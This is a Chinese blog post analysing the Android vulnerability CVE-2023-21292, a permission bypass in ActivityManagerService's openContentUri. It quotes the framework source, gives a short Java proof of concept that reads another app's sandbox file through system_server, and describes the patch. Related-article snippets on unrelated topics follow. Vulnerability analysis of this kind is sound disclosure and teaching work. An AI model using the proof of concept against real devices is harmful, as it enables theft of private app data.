CVE-2023-21292 AMS框架层高危漏洞分析
文章目录
- 前言
- 漏洞细节
- 故事起源
- 漏洞利用
- 漏洞修复
- 总结
前言
本周在分析 Google 官方发布的 Android 2023 年8 月安全公告 涉及的漏洞补丁的时候,遇到一个有意思的漏洞:CVE-2023-21292。
之所以说它有意思是因为这个漏洞早在去年年底就在某平台上被国外安全大佬 Sergey Toshin 披露了,当时大佬还愤愤不平说 Google 拒收,结果没想到今年 8 月份翻案了哈哈。
漏洞细节
先看下 Mitre 对该 CVE 漏洞的描述:
In openContentUri of ActivityManagerService.java, there is a possible way for a third party app to obtain restricted files due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.
看不懂?没事,我也不装了,还是 Google 翻译一下吧哈哈:在 ActivityManagerService.java 的 openContentUri 中,由于代理混淆,第三方应用程序有可能获取受限文件。 这可能会导致本地信息泄露,而无需额外的执行权限。 利用该漏洞不需要用户交互。
故事起源
直接上 Sergey Toshin 的原帖信息:
简单来说就是,作者发现了如下实事:
- 如果某 APP 的存在 exported=“true” 属性的 ContentProvider 组件,且在其 openFile 函数中使用了动态权限检查机制来检查访问者的 uid、包名或指定权限;
- 那么可以借助 AMS 框架服务提供的 openContentUri 接口来绕过上述权限检查,因为当恶意 app 通过 AMS 接口去访问 app 受保护的 ContentProvider 组件的 openFile 函数时,最终的调用方实际上是 system_server 进程,其 uid=1000,具备极高的访问特权。
与此同时,Sergey Toshin 还给出了具体的示例代码。先看下 APP 在 openFile 函数中使用 checkCallingPermission 函数检查调用方权限的示例代码:
接着提供了两种调用该 openFile 函数的方法及其结果对比:
从这些公开的细节来看,这显然就是个权限检查绕过类型的漏洞,其危害也很大:恶意应用足以借助该漏洞成功调用受害应用的受保护的 openFile 函数,来读取受害应用的沙箱文件。
【补充】如果你并不了解 Content Provider 组件和 openFile 函数,建议你先阅读我的另一篇文章:ContentProvider openFile接口目录遍历漏洞。
有人在推文下评论了 Google 没接收这个漏洞吗?作者答复说 Google 给拒收了……谷歌工程师的谜之操作hh,不过我猜测是因为作者没找到 Google 产品体系下具体的可利用的受害 app 作为漏洞的支撑验证材料。
但是显然 CVE-2023-21292 就是在说 Sergey Toshin 的这个漏洞,查看致谢榜,果然是他哈哈:
有意思的就是 Sergey Toshin 是在 2022 年 8 月 6 日发帖公开的此漏洞,而 Google 却在一年后才发布安全补丁修复了该高危漏洞。
这期间应该是作者或者业界的其它安全工程师发现了 Google 自研 app 存在可利用的漏洞点(符合上文提到的条件),导致 Google 不得不回头审视下他们曾经”拒收“的 Sergey Toshin 的漏洞。
【More】实际上本人在 Sergey Toshin 发布该信息的几个月内也成功借助他的公开信息,挖到了几个相关漏洞哈哈,不过并没向谷歌提交,毕竟花精力写英文报告却被谷歌拒绝是一件很费力不讨好的事……但可能也因此错过了一个 CVE 高危漏洞,不过这个洞的归属终究回到 Sergey Toshin 本人,也算实至名归。
ps:信息传播速度还是很快的,发现跟我一起注意到该漏洞的信息的还有国内一位安全工程师,在他早期的博客已经记录了相关信息:ContentProvider openFile 内部校验的绕过方式。
漏洞利用
好了,故事讲完了,接下来开始看看漏洞原理和漏洞利用了。
【漏洞原理】
直接到 cs.android.com 查看 Android 源码看看 AMS 这个 openContentUri 函数干了点啥:
//frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java// TODO: Move to ContentProviderHelper?public ParcelFileDescriptor openContentUri(String uriString) throws RemoteException {enforceNotIsolatedCaller("openContentUri");final int userId = UserHandle.getCallingUserId();final Uri uri = Uri.parse(uriString);String name = uri.getAuthority();ContentProviderHolder cph = mCpHelper.getContentProviderExternalUnchecked(name, null,Binder.getCallingUid(), "*opencontent*", userId);ParcelFileDescriptor pfd = null;if (cph != null) {try {// This method is exposed to the VNDK and to avoid changing its// signature we just use the first package in the UID. For shared// UIDs we may blame the wrong app but that is Okay as they are// in the same security/privacy sandbox.final int uid = Binder.getCallingUid();// Here we handle some of the special UIDs (mediaserver, systemserver, etc)final String packageName = AppOpsManager.resolvePackageName(uid,/*packageName*/ null);final AndroidPackage androidPackage;if (packageName != null) {androidPackage = mPackageManagerInt.getPackage(packageName);} else {androidPackage = mPackageManagerInt.getPackage(uid);}if (androidPackage == null) {Log.e(TAG, "Cannot find package for uid: " + uid);return null;}final AttributionSource attributionSource = new AttributionSource(Binder.getCallingUid(), androidPackage.getPackageName(), null);pfd = cph.provider.openFile(attributionSource, uri, "r", null);} catch (FileNotFoundException e) {// do nothing; pfd will be returned null} finally {// Ensure we're done with the provider.mCpHelper.removeContentProviderExternalUnchecked(name, null, userId);}} else {Slog.d(TAG, "Failed to get provider for authority '" + name + "'");}return pfd;}
阅读源码可以看到:openContentUri 函数接收了外部传入的 uriString 字符串,并通过 openFile 函数以 “r”(读取)模式打开 uriString 对应的文件,同时返回了一个 ParcelFileDescriptor 对象(可被用于读写文件)。这个过程中缺乏权限检查,第三方 app 可以随意调用该接口,进而以 system_server 的身份读取害应用受保护的沙箱文件,实现权限提升。
【漏洞利用】
相应的漏洞利用 Poc 也很简单:
try {Parcel data = Parcel.obtain();Parcel reply = Parcel.obtain();IBinder iBinder = (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "activity");parcelData1.writeInterfaceToken(iBinder.getInterfaceDescriptor());parcelData1.writeString("content://com.test.XXX.provider/test.jpg");iBinder.transact(1, data, reply, 0);parcelReply1.readException();ParcelFileDescriptor descriptor = null;if (reply.readInt() != 0) {descriptor = ParcelFileDescriptor.CREATOR.createFromParcel(reply);}if (descriptor!= null) {FileInputStream in = new FileInputStream(descriptor.getFileDescriptor());byte[] buff = new byte[in.available()];in.read(buff);Log.e(TAG, "Get Sandbox Data: " + new String(buff));}} catch (Exception e) {e.printStackTrace();}
以上 poc 程序完整借助 AMS 的 openContentUri 函数,提权读取 com.test.XXX 应用沙箱文件 test.jpg(得具体结合受害应用得 openFile 函数逻辑分析对应的受害应用沙箱文件路径),其中 iBinder.transact(1, data, reply, 0);
是因为在 AMS 框架 AIDL 服务中,openContentUri 函数的 transactCode=1。
漏洞修复
翻看 Android 提供的 CVE-2023-21292 补丁信息:
可以看到,Google 添加了调用方的身份或权限权限,只允许 vendor、system or product package 等具备特权的应用调用该接口。
总结
本来本人还专门写了一个静态扫描规则匹配相关漏洞的,打算持续关注是否会有研发人员在自己的 ContentProvider 组件中错误地使用相关动态权限检查保护 openFile 函数,但是看来这个权限绕过类型的漏洞至此画上句号了。实际上做权限检查更好的方式是在 AndroidMainfest 中声明组件的时候直接添加 permission 保护,而不是在代码中动态调用 checkCallingPermission 等函数进行检测。
此漏洞影响范围为:Android 11、12、12L、13,如此“明目张胆”地放在 AMS 框架第一个服务接口,却对外暴露漏洞存在了数年之久,可见日常的漏洞挖掘工作之中,一定不要放过任何细节,且要敢于质疑,Google 这样的全球科技大厂的工程师们也会犯一些我们意想不到的低级错误的。
相关文章:
CVE-2023-21292 AMS框架层高危漏洞分析
文章目录 前言漏洞细节故事起源漏洞利用漏洞修复 总结 前言 本周在分析 Google 官方发布的 Android 2023 年8 月安全公告 涉及的漏洞补丁的时候,遇到一个有意思的漏洞:CVE-2023-21292。 之所以说它有意思是因为这个漏洞早在去年年底就在某平台上被国外…...
cuda、cuDNN、深度学习框架、pytorch、tentsorflow、keras这些概念之间的关系
当讨论CUDA、cuDNN、深度学习框架、pytorch、tensorflow、keras这些概念的时候,我们讨论的是与GPU加速深度学习相关的技术和工具。 CUDA(Compute Unified Device Architecture): CUDA是由NVIDIA开发的一种并行计算平台和编程模型&…...
第二讲:BeanFactory的实现
BeanFactory的实现 1. 环境准备2. 初始化DefaultListableBeanFactory3. 手动注册BeanDefinition4. 手动添加后置处理器5. 获取被依赖注入的Bean对象6. 让所有的单例bean初始化时加载7. 总结 Spring 的发展历史较为悠久,因此很多资料还在讲解它较旧的实现,…...
vue2+Spring Boot2.7 大文件分片上传
之前我们文章 手把手带大家实现 vue2Spring Boot2.7 文件上传功能 将了上传文件 但如果文件很大 就不太好处理了 按正常情况甚至因为超量而报错 这里 我弄了个足够大的文件 我们先搭建 Spring Boot2.7 环境 首先 application.yml 代码编写如下 server:port: 80 upload:path:…...
Vite更新依赖缓存失败,强制更新依赖缓存
使用vitets开发一段时间了,感觉并不是想象中的好用,特别是出现些稀奇古怪的问题不好解决,比如下面这个问题 上午9:50:08 [vite] error while updating dependencies: Error: ENOENT: no such file or directory, open E:/workspace-dir/node…...
Linux命令200例:tail用来显示文件的末尾内容(常用)
🏆作者简介,黑夜开发者,全栈领域新星创作者✌。CSDN专家博主,阿里云社区专家博主,2023年6月csdn上海赛道top4。 🏆数年电商行业从业经验,历任核心研发工程师,项目技术负责人。 &…...
【Unity每日一记】进行发射,位置相关的方法总结
👨💻个人主页:元宇宙-秩沅 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 秩沅 原创 👨💻 收录于专栏:uni…...
MISRA 2012学习笔记(3)-Rules 8.4-8.7
文章目录 Rules8.4 字符集和词汇约定(Character sets and lexical conventions)Rule 4.1 八进制和十六进制转译序列应有明确的终止识别标识Rule 4.2 禁止使用三字母词(trigraphs) 8.5 标识符(Identifiers)Rule 5.1 外部标识符不得重名Rule 5.2 同范围和命名空间内的标识符不得重…...
centos7组件搭建
Linux(包括centos) 如何查看服务器内存、CPU su - root 切换用户 centos 密码 空格 https://blog.csdn.net/weixin_45277161/article/details/131524555 CentOS 7 安装 Docker 的详细步骤 https://blog.csdn.net/qq_39997939/article/details/13100…...
webpack5和webpack4的一些区别
自动清除打包目录 webpack4 // bash npm i clean-webpack-plugin -D //webpack.config.js const {CleanWebpackPlugin} require(clean-webpack-plugin); module.exports {plugins: [new CleanWebpackPlugin()} } webpack5 module.exports {output: {clean: true} } topLevel…...
攻防世界-fileclude
原题 解题思路 直接展示源码了,flag.php应该存放了flag,在file1与file2都不为空且file2是“hello ctf”时file1将被导入。接下来做法很明显,让file为flag.php,file2为“hello ctf”。“?file1php://filter/readconvert.base64-en…...
深度学习的“前世今生”
1、“感知机”的诞生 20世纪50年代,人工智能派生出了这样两个学派,分别是“符号学派”及“连接学派”。前者的领军学者有Marvin Minsky及John McCarthy,后者则是由Frank Rosenblatt所领导。 “符号学派”的人相信对机器从头编程,…...
第一百一十九回 如何通过蓝牙设备读写数据
文章目录 概念介绍实现方法示例代码经验总结我们在上一章回中介绍了如何获取蓝牙状态相关的内容,本章回中将介绍 如何通过蓝牙设备读写数据。闲话休提,让我们一起Talk Flutter吧。 概念介绍 通过蓝牙设备读写数据有两种方法: 一种是读写Characteristics;一种是读写Descri…...
linux:Temporary failure in name resolutionCouldn’t resolve host
所有域名无法正常解析。 ping www.baidu.com 等域名提示 Temporary failure in name resolution错误。 rootlocalhost:~# ping www.baidu.com ping: www.baidu.com: Temporary failure in name resolution rootlocalhost:~# 一、ubuntu/debian(emporary failure i…...
C 语言的 sprintf() 函数
<stdio.h> 原型: int sprintf(char *str, const char *format, …) 发送格式化输出到 str 所指向的字符串。 参数 str – 这是指向一个字符数组的指针,该数组存储了 C 字符串。 format – 这是字符串,包含了要被写入到字符串 str 的文本。它…...
李沐pytorch学习-卷积网络及其实现
一、卷积概述 1.1 基本定义 卷积计算过程如图1所示,即输入矩阵和核函数(filter)对应的位置相乘,然后相加得到输出对应位置的数。 图1. 卷积计算过程 该过程可以形象地从图2中展现。 图2. 二维卷积示意图 1.2 实现互相关运算的代…...
记录:win10物理机ping不通虚拟机上的docker子网(已解决)
【说明】 windows10:已关闭防火墙 linux发行版本:centos7.9(已禁用SElinux、已关闭防火墙) 虚拟机软件:VMware Workstation 17 虚拟机网络模式:NAT模式 docker版本:20.4.5 docker网络模式…...
深入浅出Pytorch函数——torch.nn.init.kaiming_normal_
分类目录:《深入浅出Pytorch函数》总目录 相关文章: 深入浅出Pytorch函数——torch.nn.init.calculate_gain 深入浅出Pytorch函数——torch.nn.init.uniform_ 深入浅出Pytorch函数——torch.nn.init.normal_ 深入浅出Pytorch函数——torch.nn.init.c…...
D. Anton and School - 2
范德蒙德恒等式 考虑统计每一个右括号位置的贡献,也就是每个右括号作为右边起点的贡献 其中i0的时候,r-1<r-0,故i0时贡献为0,直接套用恒等式不会有影响 #include <bits/stdc.h> using namespace std; typedef long long int ll; # d…...
xcode把包打到高版本的iPhone里
打开xcode CTRLb build工程,build成功 把手机连到mac,在xcode选项卡里面的window里面选中device and simulator 打开对应的手机的页面 然后在工程目录下build成功过后有一个product的文件夹里面,直接把app拖到对应的手机的窗口就可以不用…...
PMP项目管理考试小结
一、初步了解 每年有多次考试的机会,大概每三-四个月有一次考试机会,我下面分享的是我考试: 考试时间:8月19日 上午9:00-12:50 考试地点:北京市丰台区首都经济贸易大学(城市不一样考点不一样) …...
【NAS群晖drive异地访问】使用cpolar远程访问内网Synology Drive「内网穿透」
文章目录 前言1.群晖Synology Drive套件的安装1.1 安装Synology Drive套件1.2 设置Synology Drive套件1.3 局域网内电脑测试和使用 2.使用cpolar远程访问内网Synology Drive2.1 Cpolar云端设置2.2 Cpolar本地设置2.3 测试和使用 3. 结语 前言 群晖作为专业的数据存储中心&…...
【傅里叶级数与傅里叶变换】数学推导——2、[Part2:T = 2 π的周期函数的傅里叶级数展开] 及 [Part3:周期为2L的函数展开]
文章内容来自DR_CAN关于傅里叶变换的视频,本篇文章提供了一些基础知识点,比如三角函数常用的导数、三角函数换算公式等。 文章全部链接: 基础知识点 Part1:三角函数系的正交性 Part2:T2π的周期函数的傅里叶级数展开 P…...
【IMX6ULL驱动开发学习】06.DHT11温湿度传感器驱动程序编写与测试
一、DHT11简介 DHT11是一款可测量温度和湿度的传感器。比如市面上一些空气加湿器,会测量空气中湿度,再根据测量结果决定是否继续加湿。 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器,具有超小体积、极低功耗的特点…...
sip开发从理论到实践,让你快速入门sip
目录 引言: sip协议是什么? sip的网络结构(重点) sip的特点 sip使用的url sip协议的应用领域 sip协议基本的消息类型 请求消息 响应消息 sip协议的消息结构(这个是重点) sip的常见会话流程…...
十三、Linux中必须知道的几个快捷键!!!
1、强制停止 当某些代码正在运行时,你想让其停止,只需要按下如下快捷键即可: 【CTRL】【C】 示例: 2、退出 Linux系统自带python3解释器,当你进入python3解释器之后,需要退出时,只需要按下&am…...
Django进阶-文件上传
普通文件上传 定义 用户可以通过浏览器将图片等文件上传到网站 场景 用户上传头像 上传流动性的文档【pdf,txt】等 上传规范-后端 1.视图函数中,用request。FILES取文件框的内容 file request.FILES[xxx] 说明: 1.FILES的key对应页面中…...
clickhouse-数据导入导出方案
一、简介 clickhouse有多种数据的导入导出方式,可以灵活使用,下面对这些方式分别做些介绍,导入导出的写法与格式和格式设置有关。 二、导入 1.从s3导入 详情可查看官网,也可以在这里获取数据集 -- 建库建表 CREATE DATABASE …...
[JavaWeb]【一】入门JavaWeb开发总概及HTML、CSS、JavaScript
目录 一 特色 二 收获编辑 三 什么是web? 四 网站的工作流程 五 web网站的开发模式编辑 六 web开发课程学习安排 七、初始web前端 八 HTML、CSS 8.1 什么是HTNL\CSS(w3cschool) 8.2 HTML快速入门 8.3 VS Code开发工具 8.3.1 插件 8.3.2 主题(改变颜色&…...
Python自动化小技巧18——自动化资产月报(word设置字体表格样式,查找替换文字)
案例背景 每月都要写各种月报,经营管理月报,资产月报.....这些报告文字目标都是高度相似的,只是需要替换为每个月的实际数据就行,如下: (打码是怕信息泄露.....) 可以看到,这个报告的都是高度模板化&…...
FFmpeg5.0源码阅读——VideoToobox硬件解码
摘要:本文描述了FFmpeg中videotoobox解码器如何进行解码工作,如何将一个编码的码流解码为最终的裸流。 关键字:videotoobox,decoder,ffmpeg VideoToolbox 是一个低级框架,提供对硬件编码器和解码器的直接访问。 它提供视频…...
IDEA 中Tomcat源码环境搭建
一、从仓库中拉取源代码 配置仓库地址、项目目录;点击Clone按钮,从仓库中拉取代码 Tomcat源码对应的github地址: https://github.com/apache/tomcat.git 二、安装Ant插件 打开 File -> Setting -> Plugins 三、添加Build文件 &…...
MATLAB | 七夕节用MATLAB画个玫瑰花束叭
Hey又是一年七夕节要到了,每年一次直男审美MATLAB绘图大赛开始hiahiahia,真的这些代码越写越不知道咋写,又不想每年把之前的代码翻出来再发一遍,于是今年又对我之前写的老代码进行了点优化组合,整了个花球变花束&#…...
嵌入式开发之configure
1 前述 在Linux的应用或者驱动开发过程中,编写makefile是无法避免的问题,但是由于makefile的各种规则,或显式,或隐式,非常多,不经常写的话,很难写出一个可用的makefile文件。为了“偷懒”&…...
深入浅出Pytorch函数——torch.nn.Module
分类目录:《深入浅出Pytorch函数》总目录 Pytorch中所有网络的基类,我们的模型也应该继承这个类。Modules也可以包含其它Modules,允许使用树结构嵌入他们,我们还可以将子模块赋值给模型属性。 语法 torch.nn.Module(*args, **kwargs)方法 …...
【100天精通python】Day38:GUI界面编程_PyQt 从入门到实战(中)_数据库操作与多线程编程
目录 专栏导读 4 数据库操作 4.1 连接数据库 4.2 执行 SQL 查询和更新: 4.3 使用模型和视图显示数据 5 多线程编程 5.1 多线程编程的概念和优势 5.2 在 PyQt 中使用多线程 5.3 处理多线程间的同步和通信问题 5.3.1 信号槽机制 5.3.2 线程安全的数据访问 Q…...
STM32--TIM定时器(3)
文章目录 输入捕获简介频率测量输入捕获通道输入捕获基本结构PWMI的基本结构输入捕获模式测量PWM频率和占空比代码 编码器接口正交编码器工作模式接口基本结构TIM编码接口器测速代码: 输入捕获简介 输入捕获IC(Input Capture),是处理器捕获外部输入信号…...
爬虫框架- feapder + 爬虫管理系统 - feaplat 的学习简记
文章目录 feapder 的使用feaplat 爬虫管理系统部署 feapder 的使用 feapder是一款上手简单,功能强大的Python爬虫框架 feapder 官方文档 文档写的很详细,可以直接上手。 基本命令: 创建爬虫项目 feapder create -p first-project创建爬虫 …...
设计模式详解-享元模式
类型:结构型模式 实现原理:尝试重用现有的同类对象,如果未找到匹配的对象,则创建新对象 目的:减少创建对象的数量以减少内存占用和提高性能。 解决的问题:大量的对象可能造成的内存溢出问题 解决方法&a…...
BDA初级分析——用SQL筛选数据
一、用SQL对数据分组 GROUP BY Group by,按...分组 作用:根据给定字段进行字段的分组,通常和聚合函数配合使用,实现分组的分析 写法:select ...from ...group by 字段名 (也可以是多个字段) GROUP BY的逻辑 SELECT gender,COUNT(user_id) …...
(成功踩坑)electron-builder打包过程中报错
目录 注意:文中的解决方法2,一定全部看完,再进行操作,有坑 背景 报错1: 报错2: 1.原因:网络连接失败 2.解决方法1: 3.解决方法2: 3.1查看缺少什么资源文件 3.2去淘…...
【STM32】 工程
🚩 WRITE IN FRONT 🚩 🔎 介绍:"謓泽"正在路上朝着"攻城狮"方向"前进四" 🔎🏅 荣誉:2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2022博客之星TO…...
Git概述
目录 一、什么是Git 二、什么是版本控制系统 三、Git和SVN对比 SVN集中式 SVN优缺点 Git分布式 Git优缺点 四、Git工作流程 四个工作区域 工作流程 五、Git下载与安装 一、什么是Git 很多人都知道,林纳斯托瓦兹在1991年创建了开源的Linux,从…...
ubuntu 编译安装nginx及安装nginx_upstream_check_module模块
如果有帮助到你,麻烦点个赞呗~ 一、下载安装包 # 下载nginx_upstream_check_module模块 wget https://codeload.github.com/yaoweibin/nginx_upstream_check_module/zip/master# 解压 unzip master# 下载nginx 1.21.6 wget https://github.com/nginx/…...
近 2000 台 Citrix NetScaler 服务器遭到破坏
Bleeping Computer 网站披露在某次大规模网络攻击活动中,一名攻击者利用被追踪为 CVE-2023-3519 的高危远程代码执行漏洞,入侵了近 2000 台 Citrix NetScaler 服务器。 研究人员表示在管理员安装漏洞补丁之前已经有 1200 多台服务器被设置了后门&#x…...
MySQL MVCC的详解之Read View
文章目录 概要一、基于UNDO LOG的版本链1.1、行记录结构1.2、了解UNDO LOG1.3、版本链 二、Read View2.1、判定机制 三、参考 概要 在上文中,我们提到了MVCC(Multi-Version Concurrency Control)多版本并发控制,是通过undo log来实现的。那具…...
基于springboot+vue的考研资讯平台(前后端分离)
博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容:毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…...
学习网络编程No.3【socket理论实战】
引言: 北京时间:2023/8/12/15:32,自前天晚上更新完文章,看了一下鹅厂新出的《扫毒3》摆烂至现在,不知道是长大了,还是近年港片就那样,给我的感觉不是很好,也可能是国内市场对港片不…...
Linux学习之ssh和scp
ls /etc/ssh可以看到这个目录下有一些文件,而/etc/ssh/ssh_config是客户端配置文件,/etc/ssh/sshd_config是服务端配置文件。 cat -n /etc/ssh/sshd_config | grep "Port "可以看一下sshd监听端口的配置信息,发现这个配置端口是22…...
录制游戏视频的软件有哪些?分享3款软件!
“有录制游戏视频的软件推荐吗?最近迷上了网游,想录制点自己高端操作的游戏画面,但是不知道用什么软件录屏比较好,就想问问大家,有没有好用的录制游戏视频软件。” 在游戏领域,玩家们喜欢通过录制游戏视频…...